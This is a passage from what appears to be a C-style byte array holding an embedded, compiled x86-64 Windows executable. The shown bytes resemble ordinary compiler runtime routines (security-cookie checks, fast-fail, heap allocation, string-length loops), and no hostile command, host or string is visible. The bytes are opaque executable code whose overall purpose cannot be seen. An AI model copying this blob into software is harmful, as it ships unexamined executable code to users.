0x60, - 0x48, 0x89, 0x4c, 0x24, 0x28, 0x48, 0x8d, 0x4d, 0x10, 0x48, 0x89, 0x4c, - 0x24, 0x20, 0x33, 0xc9, 0xff, 0x15, 0x8e, 0xb5, 0x00, 0x00, 0x48, 0x8b, - 0x85, 0x08, 0x05, 0x00, 0x00, 0x48, 0x89, 0x85, 0x08, 0x01, 0x00, 0x00, - 0x48, 0x8d, 0x85, 0x08, 0x05, 0x00, 0x00, 0x48, 0x83, 0xc0, 0x08, 0x89, - 0x74, 0x24, 0x70, 0x48, 0x89, 0x85, 0xa8, 0x00, 0x00, 0x00, 0x48, 0x8b, - 0x85, 0x08, 0x05, 0x00, 0x00, 0x48, 0x89, 0x45, 0x80, 0x89, 0x7c, 0x24, - 0x74, 0xff, 0x15, 0xa5, 0xb5, 0x00, 0x00, 0x33, 0xc9, 0x8b, 0xf8, 0xff, - 0x15, 0x5b, 0xb5, 0x00, 0x00, 0x48, 0x8d, 0x4c, 0x24, 0x48, 0xff, 0x15, - 0x48, 0xb5, 0x00, 0x00, 0x85, 0xc0, 0x75, 0x10, 0x85, 0xff, 0x75, 0x0c, - 0x83, 0xfb, 0xff, 0x74, 0x07, 0x8b, 0xcb, 0xe8, 0x10, 0xb8, 0xff, 0xff, - 0x48, 0x8b, 0x8d, 0xe0, 0x04, 0x00, 0x00, 0x48, 0x33, 0xcc, 0xe8, 0xc5, - 0xad, 0xff, 0xff, 0x4c, 0x8d, 0x9c, 0x24, 0xf0, 0x05, 0x00, 0x00, 0x49, - 0x8b, 0x5b, 0x28, 0x49, 0x8b, 0x73, 0x30, 0x49, 0x8b, 0xe3, 0x41, 0x5e, - 0x5f, 0x5d, 0xc3, 0xcc, 0x48, 0x89, 0x0d, 0x2d, 0x78, 0x01, 0x00, 0xc3, - 0x48, 0x89, 0x5c, 0x24, 0x08, 0x48, 0x89, 0x6c, 0x24, 0x10, 0x48, 0x89, - 0x74, 0x24, 0x18, 0x57, 0x48, 0x83, 0xec, 0x30, 0x41, 0x8b, 0xd9, 0x49, - 0x8b, 0xf8, 0x48, 0x8b, 0xf2, 0x48, 0x8b, 0xe9, 0xe8, 0x4b, 0xfd, 0xff, - 0xff, 0x48, 0x85, 0xc0, 0x74, 0x3d, 0x48, 0x8b, 0x80, 0xb8, 0x03, 0x00, - 0x00, 0x48, 0x85, 0xc0, 0x74, 0x31, 0x48, 0x8b, 0x54, 0x24, 0x60, 0x44, - 0x8b, 0xcb, 0x48, 0x89, 0x54, 0x24, 0x20, 0x4c, 0x8b, 0xc7, 0x48, 0x8b, - 0xd6, 0x48, 0x8b, 0xcd, 0xff, 0x15, 0xda, 0xb6, 0x00, 0x00, 0x48, 0x8b, - 0x5c, 0x24, 0x40, 0x48, 0x8b, 0x6c, 0x24, 0x48, 0x48, 0x8b, 0x74, 0x24, - 0x50, 0x48, 0x83, 0xc4, 0x30, 0x5f, 0xc3, 0x4c, 0x8b, 0x15, 0xbe, 0x63, - 0x01, 0x00, 0x44, 0x8b, 0xcb, 0x41, 0x8b, 0xca, 0x4c, 0x8b, 0xc7, 0x4c, - 0x33, 0x15, 0xae, 0x77, 0x01, 0x00, 0x83, 0xe1, 0x3f, 0x49, 0xd3, 0xca, - 0x48, 0x8b, 0xd6, 0x4d, 0x85, 0xd2, 0x74, 0x0f, 0x48, 0x8b, 0x4c, 0x24, - 0x60, 0x49, 0x8b, 0xc2, 0x48, 0x89, 0x4c, 0x24, 0x20, 0xeb, 0xae, 0x48, - 0x8b, 0x44, 0x24, 0x60, 0x48, 0x8b, 0xcd, 0x48, 0x89, 0x44, 0x24, 0x20, - 0xe8, 0x23, 0x00, 0x00, 0x00, 0xcc, 0xcc, 0xcc, 0x48, 0x83, 0xec, 0x38, - 0x48, 0x83, 0x64, 0x24, 0x20, 0x00, 0x45, 0x33, 0xc9, 0x45, 0x33, 0xc0, - 0x33, 0xd2, 0x33, 0xc9, 0xe8, 0x37, 0xff, 0xff, 0xff, 0x48, 0x83, 0xc4, - 0x38, 0xc3, 0xcc, 0xcc, 0x48, 0x83, 0xec, 0x28, 0xb9, 0x17, 0x00, 0x00, - 0x00, 0xff, 0x15, 0x45, 0xb4, 0x00, 0x00, 0x85, 0xc0, 0x74, 0x07, 0xb9, - 0x05, 0x00, 0x00, 0x00, 0xcd, 0x29, 0x41, 0xb8, 0x01, 0x00, 0x00, 0x00, - 0xba, 0x17, 0x04, 0x00, 0xc0, 0x41, 0x8d, 0x48, 0x01, 0xe8, 0x9e, 0xfd, - 0xff, 0xff, 0xff, 0x15, 0x10, 0xb4, 0x00, 0x00, 0x48, 0x8b, 0xc8, 0xba, - 0x17, 0x04, 0x00, 0xc0, 0x48, 0x83, 0xc4, 0x28, 0x48, 0xff, 0x25, 0x05, - 0xb4, 0x00, 0x00, 0xcc, 0x33, 0xc0, 0x4c, 0x8d, 0x0d, 0xf3, 0xcb, 0x00, - 0x00, 0x49, 0x8b, 0xd1, 0x44, 0x8d, 0x40, 0x08, 0x3b, 0x0a, 0x74, 0x2b, - 0xff, 0xc0, 0x49, 0x03, 0xd0, 0x83, 0xf8, 0x2d, 0x72, 0xf2, 0x8d, 0x41, - 0xed, 0x83, 0xf8, 0x11, 0x77, 0x06, 0xb8, 0x0d, 0x00, 0x00, 0x00, 0xc3, - 0x81, 0xc1, 0x44, 0xff, 0xff, 0xff, 0xb8, 0x16, 0x00, 0x00, 0x00, 0x83, - 0xf9, 0x0e, 0x41, 0x0f, 0x46, 0xc0, 0xc3, 0x41, 0x8b, 0x44, 0xc1, 0x04, - 0xc3, 0xcc, 0xcc, 0xcc, 0x48, 0x89, 0x5c, 0x24, 0x08, 0x57, 0x48, 0x83, - 0xec, 0x20, 0x8b, 0xf9, 0xe8, 0xff, 0xfb, 0xff, 0xff, 0x48, 0x85, 0xc0, - 0x75, 0x09, 0x48, 0x8d, 0x05, 0xff, 0x62, 0x01, 0x00, 0xeb, 0x04, 0x48, - 0x83, 0xc0, 0x24, 0x89, 0x38, 0xe8, 0xe6, 0xfb, 0xff, 0xff, 0x48, 0x8d, - 0x1d, 0xe7, 0x62, 0x01, 0x00, 0x48, 0x85, 0xc0, 0x74, 0x04, 0x48, 0x8d, - 0x58, 0x20, 0x8b, 0xcf, 0xe8, 0x77, 0xff, 0xff, 0xff, 0x89, 0x03, 0x48, - 0x8b, 0x5c, 0x24, 0x30, 0x48, 0x83, 0xc4, 0x20, 0x5f, 0xc3, 0xcc, 0xcc, - 0x48, 0x83, 0xec, 0x28, 0xe8, 0xb7, 0xfb, 0xff, 0xff, 0x48, 0x85, 0xc0, - 0x75, 0x09, 0x48, 0x8d, 0x05, 0xb7, 0x62, 0x01, 0x00, 0xeb, 0x04, 0x48, - 0x83, 0xc0, 0x24, 0x48, 0x83, 0xc4, 0x28, 0xc3, 0x48, 0x83, 0xec, 0x28, - 0xe8, 0x97, 0xfb, 0xff, 0xff, 0x48, 0x85, 0xc0, 0x75, 0x09, 0x48, 0x8d, - 0x05, 0x93, 0x62, 0x01, 0x00, 0xeb, 0x04, 0x48, 0x83, 0xc0, 0x20, 0x48, - 0x83, 0xc4, 0x28, 0xc3, 0x48, 0x85, 0xc9, 0x74, 0x37, 0x53, 0x48, 0x83, - 0xec, 0x20, 0x4c, 0x8b, 0xc1, 0x33, 0xd2, 0x48, 0x8b, 0x0d, 0xb6, 0x7e, - 0x01, 0x00, 0xff, 0x15, 0xf0, 0xb3, 0x00, 0x00, 0x85, 0xc0, 0x75, 0x17, - 0xe8, 0xbb, 0xff, 0xff, 0xff, 0x48, 0x8b, 0xd8, 0xff, 0x15, 0x56, 0xb3, - 0x00, 0x00, 0x8b, 0xc8, 0xe8, 0xf3, 0xfe, 0xff, 0xff, 0x89, 0x03, 0x48, - 0x83, 0xc4, 0x20, 0x5b, 0xc3, 0xcc, 0xcc, 0xcc, 0x40, 0x53, 0x48, 0x83, - 0xec, 0x20, 0x48, 0x8b, 0xd9, 0x48, 0x83, 0xf9, 0xe0, 0x77, 0x3c, 0x48, - 0x85, 0xc9, 0xb8, 0x01, 0x00, 0x00, 0x00, 0x48, 0x0f, 0x44, 0xd8, 0xeb, - 0x15, 0xe8, 0xae, 0x46, 0x00, 0x00, 0x85, 0xc0, 0x74, 0x25, 0x48, 0x8b, - 0xcb, 0xe8, 0x2a, 0x3c, 0x00, 0x00, 0x85, 0xc0, 0x74, 0x19, 0x48, 0x8b, - 0x0d, 0x53, 0x7e, 0x01, 0x00, 0x4c, 0x8b, 0xc3, 0x33, 0xd2, 0xff, 0x15, - 0x90, 0xb3, 0x00, 0x00, 0x48, 0x85, 0xc0, 0x74, 0xd4, 0xeb, 0x0d, 0xe8, - 0x50, 0xff, 0xff, 0xff, 0xc7, 0x00, 0x0c, 0x00, 0x00, 0x00, 0x33, 0xc0, - 0x48, 0x83, 0xc4, 0x20, 0x5b, 0xc3, 0xcc, 0xcc, 0x48, 0x83, 0xec, 0x38, - 0x48, 0x89, 0x4c, 0x24, 0x20, 0x48, 0x89, 0x54, 0x24, 0x28, 0x48, 0x85, - 0xd2, 0x74, 0x03, 0x48, 0x89, 0x0a, 0x41, 0xb1, 0x01, 0x48, 0x8d, 0x54, - 0x24, 0x20, 0x33, 0xc9, 0xe8, 0x1b, 0xe2, 0xff, 0xff, 0x48, 0x83, 0xc4, - 0x38, 0xc3, 0xcc, 0xcc, 0x48, 0x89, 0x5c, 0x24, 0x08, 0x48, 0x89, 0x6c, - 0x24, 0x10, 0x48, 0x89, 0x74, 0x24, 0x18, 0x57, 0x48, 0x83, 0xec, 0x50, - 0x33, 0xed, 0x49, 0x8b, 0xf0, 0x48, 0x8b, 0xfa, 0x48, 0x8b, 0xd9, 0x48, - 0x85, 0xd2, 0x0f, 0x84, 0x38, 0x01, 0x00, 0x00, 0x4d, 0x85, 0xc0, 0x0f, - 0x84, 0x2f, 0x01, 0x00, 0x00, 0x40, 0x38, 0x2a, 0x75, 0x11, 0x48, 0x85, - 0xc9, 0x0f, 0x84, 0x28, 0x01, 0x00, 0x00, 0x66, 0x89, 0x29, 0xe9, 0x20, - 0x01, 0x00, 0x00, 0x49, 0x8b, 0xd1, 0x48, 0x8d, 0x4c, 0x24, 0x30, 0xe8, - 0x4c, 0xd0, 0xff, 0xff, 0x48, 0x8b, 0x44, 0x24, 0x38, 0x81, 0x78, 0x0c, - 0xe9, 0xfd, 0x00, 0x00, 0x75, 0x22, 0x4c, 0x8d, 0x0d, 0x0f, 0x75, 0x01, - 0x00, 0x4c, 0x8b, 0xc6, 0x48, 0x8b, 0xd7, 0x48, 0x8b, 0xcb, 0xe8, 0x21, - 0x46, 0x00, 0x00, 0x48, 0x8b, 0xc8, 0x83, 0xc8, 0xff, 0x85, 0xc9, 0x0f, - 0x48, 0xc8, 0xeb, 0x19, 0x48, 0x39, 0xa8, 0x38, 0x01, 0x00, 0x00, 0x75, - 0x2a, 0x48, 0x85, 0xdb, 0x74, 0x06, 0x0f, 0xb6, 0x07, 0x66, 0x89, 0x03, - 0xb9, 0x01, 0x00, 0x00, 0x00, 0x40, 0x38, 0x6c, 0x24, 0x48, 0x74, 0x0c, - 0x48, 0x8b, 0x44, 0x24, 0x30, 0x83, 0xa0, 0xa8, 0x03, 0x00, 0x00, 0xfd, - 0x8b, 0xc1, 0xe9, 0xb2, 0x00, 0x00, 0x00, 0x0f, 0xb6, 0x0f, 0x48, 0x8d, - 0x54, 0x24, 0x38, 0xe8, 0x88, 0x45, 0x00, 0x00, 0x85, 0xc0, 0x74, 0x52, - 0x48, 0x8b, 0x4c, 0x24, 0x38, 0x44, 0x8b, 0x49, 0x08, 0x41, 0x83, 0xf9, - 0x01, 0x7e, 0x2f, 0x41, 0x3b, 0xf1, 0x7c, 0x2a, 0x8b, 0x49, 0x0c, 0x8b, - 0xc5, 0x48, 0x85, 0xdb, 0x4c, 0x8b, 0xc7, 0xba, 0x09, 0x00, 0x00, 0x00, - 0x0f, 0x95, 0xc0, 0x89, 0x44, 0x24, 0x28, 0x48, 0x89, 0x5c, 0x24, 0x20, - 0xe8, 0x3b, 0x37, 0x00, 0x00, 0x48, 0x8b, 0x4c, 0x24, 0x38, 0x85, 0xc0, - 0x75, 0x0f, 0x48, 0x63, 0x41, 0x08, 0x48, 0x3b, 0xf0, 0x72, 0x3e, 0x40, - 0x38, 0x6f, 0x01, 0x74, 0x38, 0x8b, 0x49, 0x08, 0xeb, 0x83, 0x8b, 0xc5, - 0x41, 0xb9, 0x01, 0x00, 0x00, 0x00, 0x48, 0x85, 0xdb, 0x4c, 0x8b, 0xc7, - 0x0f, 0x95, 0xc0, 0x89, 0x44, 0x24, 0x28, 0x41, 0x8d, 0x51, 0x08, 0x48, - 0x8b, 0x44, 0x24, 0x38, 0x48, 0x89, 0x5c, 0x24, 0x20, 0x8b, 0x48, 0x0c, - 0xe8, 0xf3, 0x36, 0x00, 0x00, 0x85, 0xc0, 0x0f, 0x85, 0x4b, 0xff, 0xff, - 0xff, 0xe8, 0xc2, 0xfd, 0xff, 0xff, 0x83, 0xc9, 0xff, 0xc7, 0x00, 0x2a, - 0x00, 0x00, 0x00, 0xe9, 0x3d, 0xff, 0xff, 0xff, 0x48, 0x89, 0x2d, 0x11, - 0x74, 0x01, 0x00, 0x33, 0xc0, 0x48, 0x8b, 0x5c, 0x24, 0x60, 0x48, 0x8b, - 0x6c, 0x24, 0x68, 0x48, 0x8b, 0x74, 0x24, 0x70, 0x48, 0x83, 0xc4, 0x50, - 0x5f, 0xc3, 0xcc, 0xcc, 0x45, 0x33, 0xc9, 0xe9, 0x78, 0xfe, 0xff, 0xff, - 0x48, 0x89, 0x5c, 0x24, 0x08, 0x66, 0x44, 0x89, 0x4c, 0x24, 0x20, 0x55, - 0x56, 0x57, 0x48, 0x8b, 0xec, 0x48, 0x83, 0xec, 0x60, 0x49, 0x8b, 0xf0, - 0x48, 0x8b, 0xfa, 0x48, 0x8b, 0xd9, 0x48, 0x85, 0xd2, 0x75, 0x13, 0x4d, - 0x85, 0xc0, 0x74, 0x0e, 0x48, 0x85, 0xc9, 0x74, 0x02, 0x21, 0x11, 0x33, - 0xc0, 0xe9, 0xbf, 0x00, 0x00, 0x00, 0x48, 0x85, 0xdb, 0x74, 0x03, 0x83, - 0x09, 0xff, 0x48, 0x81, 0xfe, 0xff, 0xff, 0xff, 0x7f, 0x76, 0x16, 0xe8, - 0x40, 0xfd, 0xff, 0xff, 0xbb, 0x16, 0x00, 0x00, 0x00, 0x89, 0x18, 0xe8, - 0x14, 0xfc, 0xff, 0xff, 0xe9, 0x96, 0x00, 0x00, 0x00, 0x48, 0x8b, 0x55, - 0x40, 0x48, 0x8d, 0x4d, 0xe0, 0xe8, 0xae, 0xce, 0xff, 0xff, 0x48, 0x8b, - 0x45, 0xe8, 0x8b, 0x48, 0x0c, 0x81, 0xf9, 0xe9, 0xfd, 0x00, 0x00, 0x75, - 0x2e, 0x0f, 0xb7, 0x55, 0x38, 0x4c, 0x8d, 0x45, 0x28, 0x48, 0x83, 0x65, - 0x28, 0x00, 0x48, 0x8b, 0xcf, 0xe8, 0x36, 0x46, 0x00, 0x00, 0x48, 0x85, - 0xdb, 0x74, 0x02, 0x89, 0x03, 0x83, 0xf8, 0x04, 0x0f, 0x8e, 0xbe, 0x00, - 0x00, 0x00, 0xe8, 0xe9, 0xfc, 0xff, 0xff, 0x8b, 0x18, 0xeb, 0x3b, 0x48, - 0x83, 0xb8, 0x38, 0x01, 0x00, 0x00, 0x00, 0x75, 0x6d, 0x0f, 0xb7, 0x45, - 0x38, 0xb9, 0xff, 0x00, 0x00, 0x00, 0x66, 0x3b, 0xc1, 0x76, 0x46, 0x48, - 0x85, 0xff, 0x74, 0x12, 0x48, 0x85, 0xf6, 0x74, 0x0d, 0x4c, 0x8b, 0xc6, - 0x33, 0xd2, 0x48, 0x8b, 0xcf, 0xe8, 0xba, 0xb9, 0xff, 0xff, 0xe8, 0xb1, - 0xfc, 0xff, 0xff, 0xbb, 0x2a, 0x00, 0x00, 0x00, 0x89, 0x18, 0x80, 0x7d, - 0xf8, 0x00, 0x74, 0x0b, 0x48, 0x8b, 0x4d, 0xe0, 0x83, 0xa1, 0xa8, 0x03, - 0x00, 0x00, 0xfd, 0x8b, 0xc3, 0x48, 0x8b, 0x9c, 0x24, 0x80, 0x00, 0x00, - 0x00, 0x48, 0x83, 0xc4, 0x60, 0x5f, 0x5e, 0x5d, 0xc3, 0x48, 0x85, 0xff, - 0x74, 0x07, 0x48, 0x85, 0xf6, 0x74, 0x77, 0x88, 0x07, 0x48, 0x85, 0xdb, - 0x74, 0x46, 0xc7, 0x03, 0x01, 0x00, 0x00, 0x00, 0xeb, 0x3e, 0x83, 0x65, - 0x28, 0x00, 0x48, 0x8d, 0x45, 0x28, 0x48, 0x89, 0x44, 0x24, 0x38, 0x4c, - 0x8d, 0x45, 0x38, 0x48, 0x83, 0x64, 0x24, 0x30, 0x00, 0x41, 0xb9, 0x01, - 0x00, 0x00, 0x00, 0x89, 0x74, 0x24, 0x28, 0x33, 0xd2, 0x48, 0x89, 0x7c, - 0x24, 0x20, 0xe8, 0xc1, 0x35, 0x00, 0x00, 0x85, 0xc0, 0x74, 0x11, 0x83, - 0x7d, 0x28, 0x00, 0x75, 0x81, 0x48, 0x85, 0xdb, 0x74, 0x02, 0x89, 0x03, - 0x33, 0xdb, 0xeb, 0x82, 0xff, 0x15, 0xca, 0xaf, 0x00, 0x00, 0x83, 0xf8, - 0x7a, 0x0f, 0x85, 0x67, 0xff, 0xff, 0xff, 0x48, 0x85, 0xff, 0x74, 0x12, - 0x48, 0x85, 0xf6, 0x74, 0x0d, 0x4c, 0x8b, 0xc6, 0x33, 0xd2, 0x48, 0x8b, - 0xcf, 0xe8, 0x0a, 0xb9, 0xff, 0xff, 0xe8, 0x01, 0xfc, 0xff, 0xff, 0xbb, - 0x22, 0x00, 0x00, 0x00, 0x89, 0x18, 0xe8, 0xd5, 0xfa, 0xff, 0xff, 0xe9, - 0x46, 0xff, 0xff, 0xff, 0x8b, 0x05, 0x56, 0x5e, 0x01, 0x00, 0x4c, 0x8b, - 0xc9, 0x83, 0xf8, 0x05, 0x0f, 0x8c, 0x93, 0x00, 0x00, 0x00, 0x4c, 0x8b, - 0xc1, 0xb8, 0x20, 0x00, 0x00, 0x00, 0x41, 0x83, 0xe0, 0x1f, 0x49, 0x2b, - 0xc0, 0x49, 0xf7, 0xd8, 0x4d, 0x1b, 0xd2, 0x4c, 0x23, 0xd0, 0x49, 0x8b, - 0xc1, 0x49, 0x3b, 0xd2, 0x4c, 0x0f, 0x42, 0xd2, 0x49, 0x03, 0xca, 0x4c, - 0x3b, 0xc9, 0x74, 0x0d, 0x80, 0x38, 0x00, 0x74, 0x08, 0x48, 0xff, 0xc0, - 0x48, 0x3b, 0xc1, 0x75, 0xf3, 0x48, 0x8b, 0xc8, 0x49, 0x2b, 0xc9, 0x49, - 0x3b, 0xca, 0x0f, 0x85, 0xf4, 0x00, 0x00, 0x00, 0x4c, 0x8b, 0xc2, 0x48, - 0x8b, 0xc8, 0x4d, 0x2b, 0xc2, 0x49, 0x83, 0xe0, 0xe0, 0x4c, 0x03, 0xc0, - 0x49, 0x3b, 0xc0, 0x74, 0x1c, 0xc5, 0xf1, 0xef, 0xc9, 0xc5, 0xf5, 0x74, - 0x09, 0xc5, 0xfd, 0xd7, 0xc1, 0x85, 0xc0, 0xc5, 0xf8, 0x77, 0x75, 0x09, - 0x48, 0x83, 0xc1, 0x20, 0x49, 0x3b, 0xc8, 0x75, 0xe4, 0x49, 0x8d, 0x04, - 0x11, 0xeb, 0x0c, 0x80, 0x39, 0x00, 0x0f, 0x84, 0xb1, 0x00, 0x00, 0x00, - 0x48, 0xff, 0xc1, 0x48, 0x3b, 0xc8, 0x75, 0xef, 0xe9, 0xa4, 0x00, 0x00, - 0x00, 0x83, 0xf8, 0x01, 0x0f, 0x8c, 0x85, 0x00, 0x00, 0x00, 0x83, 0xe1, - 0x0f, 0xb8, 0x10, 0x00, 0x00, 0x00, 0x48, 0x2b, 0xc1, 0x48, 0xf7, 0xd9, - 0x4d, 0x1b, 0xd2, 0x4c, 0x23, 0xd0, 0x49, 0x8b, 0xc1, 0x49, 0x3b, 0xd2, - 0x4c, 0x0f, 0x42, 0xd2, 0x4b, 0x8d, 0x0c, 0x0a, 0x4c, 0x3b, 0xc9, 0x74, - 0x0d, 0x80, 0x38, 0x00, 0x74, 0x08, 0x48, 0xff, 0xc0, 0x48, 0x3b, 0xc1, - 0x75, 0xf3, 0x48, 0x8b, 0xc8, 0x49, 0x2b, 0xc9, 0x49, 0x3b, 0xca, 0x75, - 0x5f, 0x4c, 0x8b, 0xc2, 0x48, 0x8b, 0xc8, 0x4d, 0x2b, 0xc2, 0x0f, 0x57, - 0xc9, 0x49, 0x83, 0xe0, 0xf0, 0x4c, 0x03, 0xc0, 0x49, 0x3b, 0xc0, 0x74, - 0x19, 0x66, 0x0f, 0x6f, 0xc1, 0x66, 0x0f, 0x74, 0x01, 0x66, 0x0f, 0xd7, - 0xc0, 0x85, 0xc0, 0x75, 0x09, 0x48, 0x83, 0xc1, 0x10, 0x49, 0x3b, 0xc8, - 0x75, 0xe7, 0x49, 0x8d, 0x04, 0x11, 0xeb, 0x08, 0x80, 0x39, 0x00, 0x74, - 0x20, 0x48, 0xff, 0xc1, 0x48, 0x3b, 0xc8, 0x75, 0xf3, 0xeb, 0x16, 0x48, - 0x8d, 0x04, 0x11, 0x4c, 0x3b, 0xc8, 0x74, 0x0d, 0x80, 0x39, 0x00, 0x74, - 0x08, 0x48, 0xff, 0xc1, 0x48, 0x3b, 0xc8, 0x75, 0xf3, 0x49, 0x2b, 0xc9, - 0x48, 0x8b, 0xc1, 0xc3, 0x8b, 0x05, 0x06, 0x5d, 0x01, 0x00, 0x4c, 0x8b, - 0xd2, 0x4c, 0x8b, 0xc1, 0x83, 0xf8, 0x05, 0x0f, 0x8c, 0xcc, 0x00, 0x00, - 0x00, 0x41, 0xf6, 0xc0, 0x01, 0x74, 0x29, 0x48, 0x8d, 0x04, 0x51, 0x48, - 0x8b, 0xd1, 0x48, 0x3b, 0xc8, 0x0f, 0x84, 0xa1, 0x01, 0x00, 0x00, 0x33, - 0xc9, 0x66, 0x39, 0x0a, 0x0f, 0x84, 0x96, 0x01, 0x00, 0x00, 0x48, 0x83, - 0xc2, 0x02, 0x48, 0x3b, 0xd0, 0x75, 0xee, 0xe9, 0x88, 0x01, 0x00, 0x00, - 0x83, 0xe1, 0x1f, 0xb8, 0x20, 0x00, 0x00, 0x00, 0x48, 0x2b, 0xc1, 0x49, - 0x8b, 0xd0, 0x48, 0xf7, 0xd9, 0x4d, 0x1b, 0xdb, 0x4c, 0x23, 0xd8, 0x49, - 0xd1, 0xeb, 0x4d, 0x3b, 0xd3, 0x4d, 0x0f, 0x42, 0xda, 0x33, 0xc9, 0x4b, - 0x8d, 0x04, 0x58, 0x4c, 0x3b, 0xc0, 0x74, 0x0e, 0x66, 0x39, 0x0a, 0x74, - 0x09, 0x48, 0x83, 0xc2, 0x02, 0x48, 0x3b, 0xd0, 0x75, 0xf2, 0x49, 0x2b, - 0xd0, 0x48, 0xd1, 0xfa, 0x49, 0x3b, 0xd3, 0x0f, 0x85, 0x45, 0x01, 0x00, - 0x00, 0x4d, 0x8d, 0x0c, 0x50, 0x49, 0x8b, 0xc2, 0x49, 0x2b, 0xc3, 0x48, - 0x83, 0xe0, 0xe0, 0x48, 0x03, 0xc2, 0x49, 0x8d, 0x14, 0x40, 0x4c, 0x3b, - 0xca, 0x74, 0x1d, 0xc5, 0xf1, 0xef, 0xc9, 0xc4, 0xc1, 0x75, 0x75, 0x09, - 0xc5, 0xfd, 0xd7, 0xc1, 0x85, 0xc0, 0xc5, 0xf8, 0x77, 0x75, 0x09, 0x49, - 0x83, 0xc1, 0x20, 0x4c, 0x3b, 0xca, 0x75, 0xe3, 0x4b, 0x8d, 0x04, 0x50, - 0xeb, 0x0a, 0x66, 0x41, 0x39, 0x09, 0x74, 0x09, 0x49, 0x83, 0xc1, 0x02, - 0x4c, 0x3b, 0xc8, 0x75, 0xf1, 0x49, 0x8b, 0xd1, 0xe9, 0xeb, 0x00, 0x00, - 0x00, 0x83, 0xf8, 0x01, 0x0f, 0x8c, 0xc6, 0x00, 0x00, 0x00, 0x41, 0xf6, - 0xc0, 0x01, 0x74, 0x29, 0x48, 0x8d, 0x04, 0x51, 0x49, 0x8b, 0xd0, 0x4c, - 0x3b, 0xc0, 0x0f, 0x84, 0xcc, 0x00, 0x00, 0x00, 0x33, 0xc9, 0x66, 0x39, - 0x0a, 0x0f, 0x84, 0xc1, 0x00, 0x00, 0x00, 0x48, 0x83, 0xc2, 0x02, 0x48, - 0x3b, 0xd0, 0x75, 0xee, 0xe9, 0xb3, 0x00, 0x00, 0x00, 0x83, 0xe1, 0x0f, - 0xb8, 0x10, 0x00, 0x00, 0x00, 0x48, 0x2b, 0xc1, 0x49, 0x8b, 0xd0, 0x48, - 0xf7, 0xd9, 0x4d, 0x1b, 0xdb, 0x4c, 0x23, 0xd8, 0x49, 0xd1, 0xeb, 0x4d, - 0x3b, 0xd3, 0x4d, 0x0f, 0x42, 0xda, 0x33, 0xc9, 0x4b, 0x8d, 0x04, 0x58, - 0x4c, 0x3b, 0xc0, 0x74, 0x0e, 0x66, 0x39, 0x0a, 0x74, 0x09, 0x48, 0x83, - 0xc2, 0x02, 0x48, 0x3b, 0xd0, 0x75, 0xf2, 0x49, 0x2b, 0xd0, 0x48, 0xd1, - 0xfa, 0x49, 0x3b, 0xd3, 0x75, 0x74, 0x49, 0x8b, 0xc2, 0x4d, 0x8d, 0x0c, - 0x50, 0x49, 0x2b, 0xc3, 0x0f, 0x57, 0xc9, 0x48, 0x83, 0xe0, 0xf0, 0x48, - 0x03, 0xc2, 0x49, 0x8d, 0x14, 0x40, 0xeb, 0x15, 0x66, 0x0f, 0x6f, 0xc1, - 0x66, 0x41, 0x0f, 0x75, 0x01, 0x66, 0x0f, 0xd7, 0xc0, 0x85, 0xc0, 0x75, - 0x09, 0x49, 0x83, 0xc1, 0x10, 0x4c, 0x3b, 0xca, 0x75, 0xe6, 0x4b, 0x8d, - 0x04, 0x50, 0xeb, 0x0e, 0x66, 0x41, 0x39, 0x09, 0x0f, 0x84, 0x37, 0xff, - 0xff, 0xff, 0x49, 0x83, 0xc1, 0x02, 0x4c, 0x3b, 0xc8, 0x75, 0xed, 0xe9, - 0x29, 0xff, 0xff, 0xff, 0x48, 0x8d, 0x04, 0x51, 0x49, 0x8b, 0xd0, 0x4c, - 0x3b, 0xc0, 0x74, 0x10, 0x33, 0xc9, 0x66, 0x39, 0x0a, 0x74, 0x09, 0x48, - 0x83, 0xc2, 0x02, 0x48, 0x3b, 0xd0, 0x75, 0xf2, 0x49, 0x2b, 0xd0, 0x48, - 0xd1, 0xfa, 0x48, 0x8b, 0xc2, 0xc3, 0xcc, 0xcc, 0x40, 0x53, 0x48, 0x83, - 0xec, 0x20, 0x48, 0x8b, 0x05, 0x57, 0x6f, 0x01, 0x00, 0x48, 0x8b, 0xda, - 0x48, 0x39, 0x02, 0x74, 0x16, 0x8b, 0x81, 0xa8, 0x03, 0x00, 0x00, 0x85, - 0x05, 0x1b, 0x63, 0x01, 0x00, 0x75, 0x08, 0xe8, 0xf8, 0x3e, 0x00, 0x00, - 0x48, 0x89, 0x03, 0x48, 0x83, 0xc4, 0x20, 0x5b, 0xc3, 0xcc, 0xcc, 0xcc, - 0x40, 0x53, 0x48, 0x83, 0xec, 0x20, 0x48, 0x8b, 0x05, 0x33, 0x77, 0x01, - 0x00, 0x48, 0x8b, 0xda, 0x48, 0x39, 0x02, 0x74, 0x16, 0x8b, 0x81, 0xa8, - 0x03, 0x00, 0x00, 0x85, 0x05, 0xe7, 0x62, 0x01, 0x00, 0x75, 0x08, 0xe8, - 0x04, 0x2e, 0x00, 0x00, 0x48, 0x89, 0x03, 0x48, 0x83, 0xc4, 0x20, 0x5b, - 0xc3, 0xcc, 0xcc, 0xcc, 0x4c, 0x8b, 0xdc, 0x49, 0x89, 0x5b, 0x08, 0x49, - 0x89, 0x6b, 0x10, 0x49, 0x89, 0x73, 0x18, 0x57, 0x41, 0x54, 0x41, 0x55, - 0x41, 0x56, 0x41, 0x57, 0x48, 0x83, 0xec, 0x70, 0x8b, 0x84, 0x24, 0xc8, - 0x00, 0x00, 0x00, 0x45, 0x33, 0xf6, 0x85, 0xc0, 0x44, 0x88, 0x32, 0x48, - 0x8b, 0xda, 0x4c, 0x8b, 0xf9, 0x48, 0x8b, 0x94, 0x24, 0xe0, 0x00, 0x00, - 0x00, 0x49, 0x8d, 0x4b, 0xb8, 0x41, 0x8b, 0xfe, 0x49, 0x8b, 0xe9, 0x0f, - 0x49, 0xf8, 0x49, 0x8b, 0xf0, 0xe8, 0x9e, 0xc9, 0xff, 0xff, 0x8d, 0x47, - 0x0b, 0x48, 0x63, 0xc8, 0x48, 0x3b, 0xf1, 0x77, 0x15, 0xe8, 0x02, 0xf8, - 0xff, 0xff, 0x41, 0x8d, 0x7e, 0x22, 0x89, 0x38, 0xe8, 0xd7, 0xf6, 0xff, - 0xff, 0xe9, 0xdf, 0x02, 0x00, 0x00, 0x49, 0x8b, 0x0f, 0xba, 0xff, 0x07, - 0x00, 0x00, 0x48, 0x8b, 0xc1, 0x48, 0xc1, 0xe8, 0x34, 0x48, 0x23, 0xc2, - 0x48, 0x3b, 0xc2, 0x0f, 0x85, 0x81, 0x00, 0x00, 0x00, 0x8b, 0x84, 0x24, - 0xe8, 0x00, 0x00, 0x00, 0x4c, 0x8b, 0xcd, 0x89, 0x44, 0x24, 0x48, 0x4c, - 